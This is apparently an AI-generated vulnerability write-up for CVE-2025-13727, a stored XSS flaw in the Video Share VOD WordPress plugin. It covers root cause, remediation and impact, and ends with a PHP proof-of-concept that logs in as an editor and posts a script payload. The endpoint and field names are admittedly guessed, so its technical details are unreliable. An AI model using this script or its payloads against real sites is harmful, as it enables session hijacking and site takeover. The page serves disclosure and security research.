Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13727: Video Share VOD <= 2.7.11 – Authenticated (Editor+) Stored Cross-Site Scripting via Custom Field Meta Values (video-share-vod)

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 2.7.11
Patched Version
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13727 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Video Share VOD WordPress plugin, affecting versions up to and including 2.7.11. The issue resides in the plugin’s settings or custom field meta value handling, allowing attackers with editor-level or higher permissions to inject arbitrary JavaScript. The vulnerability is only exploitable on WordPress multisite installations or on single sites where the `unfiltered_html` capability is disabled for the user role. The CVSS score of 4.4 reflects a moderate severity due to the high-privilege requirement and the conditional attack complexity.

Atomic Edge research infers the root cause is improper neutralization of user input before it is stored and subsequently rendered on a page (CWE-79). The vulnerability description explicitly cites insufficient input sanitization and output escaping on plugin settings. Without a code diff, it is inferred that the plugin likely fails to apply proper sanitization functions like `sanitize_text_field` or `wp_kses` on custom field meta values before saving them to the database. It also likely fails to use proper escaping functions like `esc_html` or `esc_attr` when outputting these values in the admin area or frontend. These conclusions are based on the CWE classification and standard WordPress security practices.

Exploitation requires an authenticated user with at least editor-level capabilities. The attacker would navigate to the plugin’s settings page or a post/page editor where the plugin’s custom fields are rendered. They would then inject a malicious script payload into a vulnerable custom field or setting parameter. A typical payload would be `alert(document.domain)` or a more stealthy JavaScript payload designed to steal session cookies. The script executes in the browser of any user who later visits the administrative page or frontend page where the tainted meta value is displayed without proper escaping.

Remediation requires implementing proper input validation, sanitization, and output escaping. The patched version (2.7.12) likely added sanitization calls (e.g., `sanitize_text_field`, `sanitize_meta`) when processing and saving custom field data from user input. It also likely added contextual output escaping (e.g., `esc_html`, `esc_attr`, `wp_kses`) when echoing these values in HTML contexts. For WordPress plugins, securing such fields often involves using the `sanitize_callback` argument when registering meta fields with `register_meta` or applying sanitization within the `update_post_meta` processing logic.

The impact of successful exploitation is the execution of arbitrary JavaScript in the context of a victim user’s browser session. For an editor or administrator victim, this could lead to session hijacking, creation of new administrative accounts, site defacement, or injection of backdoor plugins. The stored nature of the attack means a single injection can affect multiple users over time. The scope change (S:C) in the CVSS vector indicates the malicious script could impact users beyond the vulnerable plugin’s immediate component, potentially affecting the entire WordPress admin interface or site frontend.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13727 - Video Share VOD <= 2.7.11 - Authenticated (Editor+) Stored Cross-Site Scripting via Custom Field Meta Values
<?php
/*
 * Proof of Concept for CVE-2025-13727.
 * This script simulates an attack by an authenticated editor+ user injecting a stored XSS payload into a plugin custom field.
 * The exact endpoint and parameter names are inferred from the vulnerability description and common WordPress plugin patterns.
 * Assumptions:
 * 1. The target is a WordPress site with the Video Share VOD plugin (<=2.7.11) installed.
 * 2. The attacker has valid editor-level credentials (username/password).
 * 3. The site is a multisite installation or has `unfiltered_html` disabled for the editor role.
 * 4. The plugin has a custom field or setting named 'vs_vod_custom_field' (example) that is vulnerable.
 * 5. The plugin processes updates via the standard WordPress admin AJAX or POST handler.
 * This PoC performs a login to obtain authentication cookies, then attempts to submit a POST request to update a post meta field with a malicious script payload.
 */

$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE URL
$username = 'editor_user'; // CHANGE THIS TO A VALID EDITOR USERNAME
$password = 'editor_password'; // CHANGE THIS TO THE USER'S PASSWORD

// The payload to inject. This is a simple alert for demonstration.
$payload = '<script>alert("Atomic Edge XSS Test - "+document.domain);</script>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Step 1: Get the login page to retrieve the nonce (wp_nonce) for logging in.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

// Extract the login nonce (log) from the form. This regex is a common pattern.
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_matches);
$log_nonce = $log_matches[1] ?? '';

// Step 2: Perform the WordPress login.
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);

// Check for successful login by looking for a redirect to /wp-admin/ or the presence of 'Dashboard'.
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die('[-] Login failed. Check credentials.');
}
echo '[+] Login successful.n';

// Step 3: Assume the plugin uses the standard post meta update mechanism via admin-ajax.php.
// The exact AJAX action is unknown, but a common pattern is {plugin_slug}_update_meta.
// We target a specific post ID (e.g., 1) and inject the payload into a custom field.
$post_id = 1; // Assumed vulnerable post/page ID. An attacker would enumerate this.
$ajax_action = 'video_share_vod_update_meta'; // Inferred AJAX action name based on plugin slug.

$ajax_data = [
    'action' => $ajax_action,
    'post_id' => $post_id,
    'meta_key' => 'vs_vod_custom_field', // Inferred vulnerable meta key name.
    'meta_value' => $payload,
    '_ajax_nonce' => '' // Nonce may be required; this PoC assumes its absence or bypass is part of the vulnerability.
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
$ajax_response = curl_exec($ch);

// Check the response for success indicators.
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo '[+] AJAX request sent. Payload: ' . htmlspecialchars($payload) . 'n';
    echo '[+] If the meta field is vulnerable, the script will execute when the field is displayed.n';
} else {
    echo '[-] AJAX request may have failed. HTTP Code: ' . curl_getinfo($ch, CURLINFO_HTTP_CODE) . 'n';
}

curl_close($ch);
?>

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